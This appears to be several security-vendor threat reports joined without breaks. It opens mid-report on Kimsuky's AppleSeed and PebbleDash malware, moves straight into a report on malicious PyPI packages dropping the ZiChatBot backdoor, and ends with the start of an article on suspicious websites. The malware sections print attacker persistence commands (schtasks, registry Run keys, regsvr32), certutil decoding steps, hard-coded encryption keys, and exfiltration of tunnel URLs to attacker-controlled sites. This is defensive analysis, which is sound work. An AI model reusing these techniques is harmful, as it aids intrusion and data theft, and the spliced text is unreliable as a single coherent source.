AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.
Initial access
Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.
Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse
August 28, 2025
995a0a49ae4b244928b3f67e2bfd7a6e
HelloDoor
2
2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse
December 14, 2025
52f1ff082e981cbdfd1f045c6021c63f
httpMalice
3
security_20260126.scr
–
January 26, 2026
65fc9f06de5603e2c1af9b4f288bb22c
Reger Dropper, MemLoad, httpTroy
4
노현정님.pdf.jse
Ms. Noh Hyun-jung.pdf.jse
January 28, 2026
8e15c4d4f71bdd9dbc48cd2cabc87806
AppleSeed chain
5
대국민서비스관리운영체계현장점검증적(초안).pif
On-site Inspection Evidence for the Public Service Management System (Draft).pif
February 5, 2026
8983ffa6da23e0b99ccc58c17b9788c7
Pidoc Dropper, HappyDoor
JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].
Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.
In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.
Deployed malware
In this section, we describe several malware families recently dropped by the droppers discussed above.
HelloDoor: first Rust-based PebbleDash variant
Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.
HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].
The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.
The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:
Command
Description
“mcd”
Set the current directory
“msleep”
Sleep for the provided time
“install”
Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command]
Execute the provided command using chcp 65001 > nul & cmd /U /C [command]
Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.
✅ Port is now listening (no accepting)
❌ Port is already in use
🔍 regsvr32.exe detected as parent. Attempting to terminate...
This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.
Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:
result send fail (grammatically incorrect text)
server request fail (grammatically incorrect text)
It is likely that the flawed comments were added manually before or after AI was used.
httpMalice: latest backdoor variant of PebbleDash
The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:
(PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
(PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
(PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
(PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
(AppleSeed cluster) Use of the m= parameter in C2 communication.
(AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.
Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.
The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].
Value of elevation status
Description
0
Running under the SYSTEM account with an elevated token
1
Running under an elevated administrator account
2
Running without elevation
Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.
The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).
Windows commands used to gather system details
httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:
Value
Description
1
Send the session identifier (parameter s) along with the current state (parameter a)
2
Request command
3
Send result after executing the command (parameter d)
8
Request directory to be archived and sent
9
Send the archived directory
10
Send a message like “.cmd” or “.tmp” (parameter d)
11
Send ping
12
Send the captured screenshot (parameter d)
13
Send the infected device information (parameter d)
As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].
The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.
Structure of the ChaCha20-encrypted data blob
After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:
Value
Description
0
httpMalice has been activated
1
httpMalice has been inactivated (upon command 9)
2
httpMalice has been removed (upon command 8)
The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.
C2 communication sequence of httpMalice
When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.
The commands supported by httpMalice are as follows:
Command
Description
0
Do nothing
1
Execute the command with EUC-KR encoding
2
Download and extract the file to the infected device
3
Upload a directory to the C2 server after it has been archived
5
Get the current directory
6
Set the current directory
7
Execute the command without setting a EUC-KR character set
8
Remove its persistence traces and exit the process
9
Hibernate
10
Execute the command using the provided session ID
12
Capture the screen
13
Load the downloaded payload into memory
MemLoad downloads httpTroy
Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).
Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.
Below are the key operations of MemLoad:
Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command
schtasks/create/tn<task name>/tr"regsvr32 /s <current file path>"/sc minute/mo1/rl highest/f is executed. Otherwise, the task is named EdgeCheck, and the command
schtasks/create/tn<task name>/tr"regsvr32 /s <current file path>"/sc minute/mo1/f is executed.
C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.
The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].
Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.
AppleSeed
AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.
Updated AppleSeed infection chain
There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.
HappyDoor
HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.
Post-exploitation
We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.
VSCode (launched by the JSE dropper)
Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.
The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.
The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.
Out.txt content
The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.
VSCode (launched by VSCode installer)
While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.
After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.
This is how the installer works:
Executes code.exe tunnel.
Searches for the “Microsoft Account” string in the stdout.
Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
Searches for the “use code” string in the stdout.
Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
Searches for the “What would you like to call this machine?” string in the stdout.
Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
Searches for the “https://vscode.dev/tunnel/” string in the stdout.
Sends the printed URL for tunneling to the Slack WebHook.
The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)
Creating a tunnel using VSCode CLI
Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.
An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.
DWAgent
DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.
We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.
This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:
The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.
The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.
For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.
The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.
Victims
We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.
Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.
While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.
Attribution
Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.
Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.
These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.
Conclusion
Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.
Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.
Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.
Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.
While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.
To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.
Technical details
Spreading
The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.
Malicious wheel packages
The packages added by the attacker and listed on PyPI’s download pages are:
uuid32-utils library for generating a 32-character random string as a UUID
colorinal library for implementing cross-platform color terminal text
termncolor library for ANSI color format for terminal output
The key metadata for these packages are as follows:
Pip install command
File name
First upload date
Author / Email
pip install uuid32-utils
uuid32_utils-1.x.x-py3-none-[OS platform].whl
2025-07-16
laz**** / laz****@tutamail.com
pip install colorinal
colorinal-0.1.7-py3-none-[OS platform].whl
2025-07-22
sym**** / sym****@proton.me
pip install termncolor
termncolor-3.1.0-py3-none-any.whl
2025-07-22
sym**** / sym****@proton.me
Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:
Distribution information of the colorinal project
Initial infection
The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.
A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.
The termncolor library imports the malicious colorinal library
During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.
Windows version
Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.
After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.
The __init__.py script imports the malicious file unicode.py
This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.
The code loads the dropper into the host Python process
The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.
Dropper for ZiChatBot
From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:
Deploy ZiChatBot.
Establish an auto-run mechanism.
Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.
The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.
Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.
To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:
Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.
The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.
Linux version
The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.
The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.
ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.
In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.
ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.
Infrastructure
We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.
The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.
Victims
The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.
Zulip has officially deactivated the “helper” organization
Attribution
Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.
Analysis results of dropper using KTAE system
Conclusions
As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.
In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.
A suspicious website is a web resource that cannot be definitively classified as phishing, but whose activities are unsafe. Such sites manipulate users, tricking them into voluntarily transferring money for non-existent services, signing up for hidden subscriptions, or disclosing personal data through carefully crafted terms of service. These include fake online stores, dubious crypto exchanges, investment platforms, and services with paid subscriptions.
Kaspersky has introduced a new web filtering category, “Sites with an undefined trust level,” into its security products (Kaspersky Premium, Android and iOS apps, etc.). The system analyzes the domain name and age, IP address reputation, DNS configuration, HTTP security headers, and SSL certificate to automatically detect suspicious resources.
According to Kaspersky data for January 2026, the most widespread global threat is fake browser extensions that mimic security products — they were detected in 9 out of 10 regions analyzed worldwide. Such extensions intercept browser data, track user activity, hijack search queries, and inject ads.
Kaspersky’s regional statistics reveal the specific nature of these threats: in Africa, over 90% of the top 10 suspicious websites are online trading scam platforms; in Latin America, fake betting services predominate; in Russia, fake binary options brokers and “educational platforms” with fraudulent subscriptions lead the way; in CIS countries — crypto scams and bots for inflating engagement.
Key indicators of a suspicious website to check: a strange domain name with numbers or random characters, cheap top-level domains (.xyz, .top, .shop), a recently registered domain (less than 6 months old according to WHOIS data), unrealistic promises (“100% guaranteed income,” “up to 300% profit”), lack of company contact information, and payments only via cryptocurrency or irreversible bank transfers.
Introduction
The online landscape is filled with various traps lying in wait for users. One such threat involves websites that can’t be strictly classified as phishing, yet whose activities are inherently unsafe. These sites often operate on the fringes of the law, even if they aren’t directly violating it. Sometimes they use a cleverly crafted Terms of Service document as a loophole. These agreements might include clauses such as no-refund policies or forced automatic subscription renewals.
Fake online stores, dubious financial platforms, and various online services that mimic legitimate business operations are all categorized as suspicious. Unlike actual phishing sites, which aim to steal sensitive data like banking credentials or passwords, these suspicious sites represent a far more cunning trap. Their goal is manipulation: tricking the victim into willingly paying for non-existent goods and services or signing them up for a subscription that’s nearly impossible to cancel. Beyond financial gain, these sketchy websites may also hunt for personal data to sell later on the dark web.
Our solutions categorize them as having an “undefined trust level”. This article explains what these sites look like, how to identify them, and what you can do to stay safe.
The dangers of shady websites
One of the biggest risks associated with making a purchase from an untrusted website that seems to be an online store is the financial loss and falling victim to fraud. Fake shops will entice you with attractive deals to get you hooked. After you pay, you may never receive what you paid for, or you may receive some cheap piece of unusable junk instead of the item you ordered. Investment or “guaranteed income” programs are another type of classic scam — they promise rapid returns, and once they take your deposits, they disappear without a trace.
